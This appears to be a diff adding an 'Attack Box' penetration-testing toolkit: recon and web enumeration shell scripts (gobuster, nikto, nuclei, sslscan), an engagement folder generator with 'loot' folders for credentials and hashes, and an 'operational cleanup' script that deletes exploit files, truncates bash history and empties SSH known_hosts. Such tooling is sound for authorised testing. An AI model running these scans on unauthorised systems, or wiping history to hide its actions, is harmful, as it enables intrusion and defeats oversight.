+# Vulnerability scanning with Nuclei
+echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}"
+log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt"
+
+# Summary
+echo -e "${GREEN}[+] Reconnaissance Complete!${NC}"
+echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
+echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}"
+echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}"
+echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
+
+# Generate simple HTML report
+cat > "recon_report.html" << EOF
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Reconnaissance Report - $TARGET</title>
+    <style>
+        body { font-family: Arial, sans-serif; margin: 40px; }
+        h1 { color: #333; }
+        h2 { color: #666; }
+        .stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
+        pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
+    </style>
+</head>
+<body>
+    <h1>Reconnaissance Report for $TARGET</h1>
+    <div class="stats">
+        <h2>Statistics</h2>
+        <p>Total Subdomains Found: $(wc -l < all_subdomains.txt)</p>
+        <p>Live Subdomains: $(wc -l < live_subdomains.txt)</p>
+        <p>Scan Date: $(date)</p>
+    </div>
+    
+    <h2>Live Subdomains</h2>
+    <pre>$(cat live_subdomains.txt)</pre>
+    
+    <h2>Port Scan Results</h2>
+    <pre>$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")</pre>
+</body>
+</html>
+EOF
+
+echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}"
+echo "Reconnaissance completed at $(date)" >> "$LOG_FILE"
@@ -0,0 +1,93 @@
+#!/bin/bash
+# Trash Cleanup Script
+# Safely removes operational artifacts and cleans system
+
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+NC='\033[0m'
+
+echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}"
+echo ""
+
+# Get working directory
+if [ -n "$1" ]; then
+    WORK_DIR="$1"
+else
+    # Auto-detect working directory
+    if [ -d "/root/operator" ]; then
+        WORK_DIR="/root/operator"
+    else
+        # Find deployment-named directory
+        WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
+        if [ -z "$WORK_DIR" ]; then
+            WORK_DIR="/root"
+        fi
+    fi
+fi
+
+echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}"
+
+# Clean scan results older than 7 days
+if [ -d "$WORK_DIR/scans" ]; then
+    echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}"
+    find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null
+    find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null
+    find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null
+fi
+
+# Clean temporary loot
+if [ -d "$WORK_DIR/loot" ]; then
+    echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}"
+    find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null
+    find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null
+fi
+
+# Clean logs older than 30 days
+if [ -d "$WORK_DIR/logs" ]; then
+    echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}"
+    find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null
+fi
+
+# Clean empty directories
+echo -e "${YELLOW}[*] Removing empty directories${NC}"
+find "$WORK_DIR" -type d -empty -delete 2>/dev/null
+
+# Clean system temp files
+echo -e "${YELLOW}[*] Cleaning system temporary files${NC}"
+rm -f /tmp/nmap_* 2>/dev/null
+rm -f /tmp/scan_* 2>/dev/null
+rm -f /tmp/exploit_* 2>/dev/null
+rm -f /tmp/*.tmp 2>/dev/null
+
+# Rotate command history
+echo -e "${YELLOW}[*] Rotating command history${NC}"
+if [ -f ~/.bash_history ]; then
+    tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history
+fi
+
+# Clean network artifacts
+echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
+> ~/.ssh/known_hosts
+
+# Update file permissions
+echo -e "${YELLOW}[*] Updating file permissions${NC}"
+if [ -d "$WORK_DIR" ]; then
+    chmod -R 750 "$WORK_DIR" 2>/dev/null
+    find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null
+fi
+
+# Compress old files
+echo -e "${YELLOW}[*] Compressing old files${NC}"
+if [ -d "$WORK_DIR/reports" ]; then
+    find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null
+fi
+
+echo ""
+echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}"
+echo -e "${BLUE}Summary:${NC}"
+echo -e "${GREEN}  ✓ Old scan results cleaned${NC}"
+echo -e "${GREEN}  ✓ Temporary files removed${NC}"
+echo -e "${GREEN}  ✓ Logs rotated${NC}"
+echo -e "${GREEN}  ✓ Permissions updated${NC}"
+echo -e "${GREEN}  ✓ Network artifacts cleared${NC}"
@@ -0,0 +1,230 @@
+#!/bin/bash
+# Web Application Enumeration Script for Attack Box
+# Usage: ./web_enum_automation.sh <target_url>
+
+set -e
+
+if [ $# -eq 0 ]; then
+    echo "Usage: $0 <target_url>"
+    echo "Example: $0 https://example.com"
+    echo "         $0 http://10.0.0.100:8080"
+    exit 1
+fi
+
+TARGET_URL="$1"
+# Extract domain/IP for workspace naming
+TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
+WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
+DATE=$(date +%Y%m%d_%H%M%S)
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+NC='\033[0m' # No Color
+
+echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}"
+
+# Create workspace
+mkdir -p "$WORKSPACE"
+cd "$WORKSPACE"
+
+# Create log file
+LOG_FILE="web_enum_$DATE.log"
+echo "Web enumeration started at $(date)" > "$LOG_FILE"
+
+# Function to log and execute
+log_and_run() {
+    echo -e "${YELLOW}[*] $1${NC}"
+    echo "[$(date)] $1" >> "$LOG_FILE"
+    eval "$2" 2>&1 | tee -a "$LOG_FILE"
+}
+
+# Basic web info gathering
+echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}"
+log_and_run "Getting HTTP headers" "curl -I $TARGET_URL"
+log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt"
+log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml"
+
+# Technology detection
+echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}"
+log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL"
+if command -v wappalyzer &> /dev/null; then
+    log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL"
+fi
+
+# Directory and file enumeration
+echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}"
+
+# Gobuster with common wordlist
+log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q"
+
+# Gobuster with bigger wordlist
+if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then
+    log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s"
+fi
+
+# File extension enumeration
+log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q"
+
+# Alternative directory tools
+if command -v dirb &> /dev/null; then
+    log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt"
+fi
+
+if command -v ffuf &> /dev/null; then
+    log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s"
+fi
+
+# Subdomain enumeration (if it's a domain)
+if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then
+    echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}"
+    DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1)
+    log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q"
+fi
+
+# Web vulnerability scanning
+echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}"
+log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt"
+
+# Nuclei web templates
+if command -v nuclei &> /dev/null; then
+    log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt"
+fi
+
+# SSL/TLS testing (for HTTPS)
+if [[ $TARGET_URL == https* ]]; then
+    echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}"
+    DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g')
+    log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout"
+    
+    if command -v sslscan &> /dev/null; then
+        log_and_run "SSLScan" "sslscan $DOMAIN"
+    fi
+    
+    if command -v testssl.sh &> /dev/null; then
+        log_and_run "TestSSL" "testssl.sh $TARGET_URL"
+    fi
+fi
+
+# Web application firewall detection
+echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}"
+if command -v wafw00f &> /dev/null; then
+    log_and_run "WAF detection" "wafw00f $TARGET_URL"
+fi
+
+# Content discovery and analysis
+echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}"
+
+# Find interesting files and directories
+echo -e "${BLUE}[*] Analyzing discovered content...${NC}"
+if [ -f "gobuster_common.txt" ]; then
+    echo "Interesting directories found:" >> content_analysis.txt
+    grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt
+fi
+
+# Parameter discovery
+if command -v arjun &> /dev/null; then
+    log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt"
+fi
+
+# JavaScript analysis
+log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt"
+
+# Generate summary report
+echo -e "${GREEN}[+] Web Enumeration Complete!${NC}"
+echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
+echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
+
+# Count discovered items
+DIRS_FOUND=0
+FILES_FOUND=0
+if [ -f "gobuster_common.txt" ]; then
+    DIRS_FOUND=$(wc -l < gobuster_common.txt)
+fi
+if [ -f "gobuster_files.txt" ]; then
+    FILES_FOUND=$(wc -l < gobuster_files.txt)
+fi
+
+echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}"
+echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}"
+
+# Generate HTML report
+cat > "web_enum_report.html" << EOF
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Web Enumeration Report - $TARGET_URL</title>
+    <style>
+        body { font-family: Arial, sans-serif; margin: 40px; }
+        h1 { color: #333; }
+        h2 { color: #666; }
+        .stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
+        pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
+        .finding { background: #ffffcc; padding: 5px; margin: 5px 0; }
+    </style>
+</head>
+<body>
+    <h1>Web Enumeration Report</h1>
+    <p><strong>Target:</strong> $TARGET_URL</p>
+    
+    <div class="stats">
+        <h2>Statistics</h2>
+        <p>Directories Found: $DIRS_FOUND</p>
+        <p>Files Found: $FILES_FOUND</p>
+        <p>Scan Date: $(date)</p>
+    </div>
+    
+    <h2>Discovered Directories</h2>
+    <pre>$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")</pre>
+    
+    <h2>Discovered Files</h2>
+    <pre>$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")</pre>
+    
+    <h2>Technology Stack</h2>
+    <pre>$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")</pre>
+    
+    <h2>Security Findings</h2>
+    <pre>$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")</pre>
+</body>
+</html>
+EOF
+
+echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}"
+
+# Next steps suggestions
+cat > "next_steps.txt" << EOF
+Next Steps for $TARGET_URL:
+===========================
+
+1. Manual Testing:
+   - Browse discovered directories manually
+   - Test for authentication bypasses
+   - Look for file upload functionality
+   - Check for SQL injection points
+
+2. Focused Scanning:
+   - Run OWASP ZAP or Burp Suite
+   - Test for XSS vulnerabilities
+   - Check for CSRF tokens
+   - Test API endpoints if found
+
+3. Exploitation:
+   - Research CVEs for identified technologies
+   - Test default credentials
+   - Look for configuration files with sensitive data
+   - Check for local file inclusion vulnerabilities
+
+4. Further Enumeration:
+   - Use custom wordlists for your target
+   - Check for backup files (.bak, .old, .swp)
+   - Look for version control directories (.git, .svn)
+   - Test for subdomain takeover
+
+Files to review:
+$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found")
+EOF
+
+echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}"
+echo "Web enumeration completed at $(date)" >> "$LOG_FILE"
@@ -0,0 +1,233 @@
+#!/usr/bin/env python3
+"""
+Workspace Structure Generator for Attack Box
+Creates trashpanda-style penetration testing directory structure
+"""
+
+import os
+import time
+from pathlib import Path
+
+def create_workspace_structure(base_name="/root/operator", operator="operator"):
+    """Create a comprehensive penetration testing directory structure like trashpanda."""
+    
+    # Main engagement directory
+    base_dir = os.path.abspath(base_name)
+    
+    # Primary directories (based on trashpanda structure)
+    main_dirs = {
+        "tools": "Downloaded/compiled tools and scripts",
+        "scans": "All scan results organized by type",
+        "logs": "Execution logs and debug output", 
+        "loot": "Extracted credentials, hashes, and sensitive data",
+        "payloads": "Custom payloads and exploit code",
+        "targets": "Target lists and reconnaissance data",
+        "screenshots": "Visual evidence and GUI captures",
+        "reports": "Draft reports and documentation",
+        "notes": "Manual notes and observations",
+        "exploits": "Working exploits and proof-of-concepts",
+        "wordlists": "Custom and downloaded wordlists",
+        "pcaps": "Network captures and traffic analysis"
+    }
+    
+    # Scan subdirectories (comprehensive enumeration structure)
+    scan_subdirs = {
+        "nmap": "Network discovery and port scanning",
+        "dns": "DNS enumeration and zone transfers", 
+        "snmp": "SNMP enumeration and community strings",
+        "smb": "SMB/NetBIOS enumeration and shares",
+        "web": "Web application scanning and enumeration",
+        "ssl": "SSL/TLS certificate and cipher analysis",
+        "vulns": "Vulnerability scanning and NSE scripts",
+        "ldap": "LDAP enumeration and directory services",
+        "ftp": "FTP enumeration and anonymous access",
+        "ssh": "SSH enumeration and key analysis",
+        "databases": "Database enumeration (MySQL, MSSQL, etc)",
+        "custom": "Custom and manual scans",
+        "reachability": "Network reachability test results"
+    }
+    
+    # Loot subdirectories (for extracted data)
+    loot_subdirs = {
+        "credentials": "Usernames, passwords, and authentication data",
+        "hashes": "Password hashes and cracking results",
+        "keys": "SSH keys, certificates, and crypto material",
+        "configs": "Configuration files and sensitive data",
+        "databases": "Extracted database contents",
+        "files": "Interesting files and documents"
+    }
+    
+    print(f"[+] Creating penetration testing structure: {base_dir}")
+    
+    # Create main directories
+    for dir_name, description in main_dirs.items():
+        dir_path = os.path.join(base_dir, dir_name)
+        Path(dir_path).mkdir(parents=True, exist_ok=True)
+        
+        # Create README files for documentation
+        readme_path = os.path.join(dir_path, "README.md")
+        if not os.path.exists(readme_path):
+            with open(readme_path, 'w') as f:
+                f.write(f"# {dir_name.upper()}\n\n")
+                f.write(f"{description}\n\n")
+                f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
+    
+    # Create scan subdirectories
+    scans_dir = os.path.join(base_dir, "scans")
+    for subdir, description in scan_subdirs.items():
+        subdir_path = os.path.join(scans_dir, subdir)
+        Path(subdir_path).mkdir(parents=True, exist_ok=True)
+        
+        readme_path = os.path.join(subdir_path, "README.md")
+        if not os.path.exists(readme_path):
+            with open(readme_path, 'w') as f:
+                f.write(f"# {subdir.upper()} SCANS\n\n")
+                f.write(f"{description}\n\n")
+    
+    # Create loot subdirectories
+    loot_dir = os.path.join(base_dir, "loot")
+    for subdir, description in loot_subdirs.items():
+        subdir_path = os.path.join(loot_dir, subdir)
+        Path(subdir_path).mkdir(parents=True, exist_ok=True)
+        
+        readme_path = os.path.join(subdir_path, "README.md")
+        if not os.path.exists(readme_path):
+            with open(readme_path, 'w') as f:
+                f.write(f"# {subdir.upper()}\n\n")
+                f.write(f"{description}\n\n")
+    
+    # Create engagement log
+    engagement_log = os.path.join(base_dir, "logs", "engagement.log")
+    with open(engagement_log, 'w') as f:
+        f.write(f"Attack Box Engagement Log\n")
+        f.write(f"=========================\n")
+        f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
+        f.write(f"Operator: {operator}\n")
+        f.write(f"Tool: Attack Box Manual Testing Interface\n\n")
+    
+    # Create initial target file
+    target_template = os.path.join(base_dir, "targets", "targets.txt")
+    if not os.path.exists(target_template):
+        with open(target_template, 'w') as f:
+            f.write("# Target List\n")
+            f.write("# Add IPs, ranges, or hostnames (one per line)\n")
+            f.write("# Examples:\n")
+            f.write("# 192.168.1.1\n")
+            f.write("# 192.168.1.0/24\n")
+            f.write("# 192.168.1.1-50\n")
+            f.write("# target.domain.com\n\n")
+    
+    # Create manual commands file
+    manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt")
+    with open(manual_commands, 'w') as f:
+        f.write("# Manual Commands for Further Enumeration\n")
+        f.write("# ======================================\n")
+        f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
+        f.write("# Example commands:\n")
+        f.write("# nmap -sS -T4 --top-ports 1000 <target>\n")
+        f.write("# gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt\n")
+        f.write("# nikto -h http://<target>\n")
+        f.write("# sqlmap -u http://<target>?id=1 --dbs\n\n")
+    
+    # Create notes template
+    notes_template = os.path.join(base_dir, "notes", "engagement_notes.md")
+    with open(notes_template, 'w') as f:
+        f.write(f"# Engagement Notes\n\n")
+        f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n")
+        f.write(f"**Operator:** {operator}\n")
+        f.write(f"**Engagement:** TBD\n\n")
+        f.write(f"## Scope\n")
+        f.write(f"- [ ] Define target scope\n")
+        f.write(f"- [ ] Identify key assets\n")
+        f.write(f"- [ ] Document rules of engagement\n\n")
+        f.write(f"## Methodology\n")
+        f.write(f"1. **Reconnaissance**\n")
+        f.write(f"   - Passive information gathering\n")
+        f.write(f"   - DNS enumeration\n")
+        f.write(f"   - OSINT collection\n\n")
+        f.write(f"2. **Scanning & Enumeration**\n")
+        f.write(f"   - Network discovery\n")
+        f.write(f"   - Port scanning\n")
+        f.write(f"   - Service enumeration\n\n")
+        f.write(f"3. **Vulnerability Assessment**\n")
+        f.write(f"   - Automated scanning\n")
+        f.write(f"   - Manual testing\n")
+        f.write(f"   - Vulnerability validation\n\n")
+        f.write(f"4. **Exploitation**\n")
+        f.write(f"   - Proof of concept development\n")
+        f.write(f"   - Privilege escalation\n")
+        f.write(f"   - Lateral movement\n\n")
+        f.write(f"## Key Findings\n")
+        f.write(f"*Document critical findings here*\n\n")
+        f.write(f"## Timeline\n")
+        f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n")
+    
+    # Create wordlist directory with common lists
+    wordlist_dir = os.path.join(base_dir, "wordlists")
+    common_wordlists = os.path.join(wordlist_dir, "common_lists.txt")
+    with open(common_wordlists, 'w') as f:
+        f.write("# Common Wordlist Locations\n")
+        f.write("# =========================\n")
+        f.write("# Directory enumeration:\n")
+        f.write("/usr/share/wordlists/dirb/common.txt\n")
+        f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n")
+        f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n")
+        f.write("# File enumeration:\n")
+        f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n")
+        f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n")
+        f.write("# Subdomain enumeration:\n")
+        f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n")
+        f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n")
+        f.write("# Password attacks:\n")
+        f.write("/usr/share/wordlists/rockyou.txt\n")
+        f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n")
+    
+    # Create scripts directory with useful scripts
+    scripts_dir = os.path.join(base_dir, "tools", "scripts")
+    Path(scripts_dir).mkdir(parents=True, exist_ok=True)
+    
+    quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh")
+    with open(quick_enum_script, 'w') as f:
+        f.write("#!/bin/bash\n")
+        f.write("# Quick enumeration script\n")
+        f.write("# Usage: ./quick_enum.sh <target_ip>\n\n")
+        f.write("if [ $# -eq 0 ]; then\n")
+        f.write('    echo "Usage: $0 <target_ip>"\n')
+        f.write("    exit 1\n")
+        f.write("fi\n\n")
+        f.write("TARGET=$1\n")
+        f.write("DATE=$(date +%Y%m%d_%H%M%S)\n")
+        f.write("SCAN_DIR=\"../../scans\"\n\n")
+        f.write("echo \"[+] Quick enumeration of $TARGET\"\n")
+        f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n")
+        f.write("# Quick nmap scan\n")
+        f.write("echo \"[+] Running quick nmap scan...\"\n")
+        f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n")
+        f.write("# Check for web services\n")
+        f.write("echo \"[+] Checking for web services...\"\n")
+        f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n")
+        f.write("    echo \"[+] Web services found, running quick web enum...\"\n")
+        f.write("    gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n")
+        f.write("fi\n\n")
+        f.write("echo \"[+] Quick enumeration complete\"\n")
+    
+    os.chmod(quick_enum_script, 0o755)
+    
+    print(f"[+] Penetration testing structure created successfully")
+    print(f"[*] Add targets to: {target_template}")
+    print(f"[*] Engagement log: {engagement_log}")
+    print(f"[*] Quick enum script: {quick_enum_script}")
+    
+    return base_dir
+
+if __name__ == "__main__":
+    import sys
+    import getpass
+    
+    if len(sys.argv) > 1:
+        workspace_name = sys.argv[1]
+    else:
+        workspace_name = f"/root/operator"
+    
+    operator = getpass.getuser()
+    create_workspace_structure(workspace_name, operator)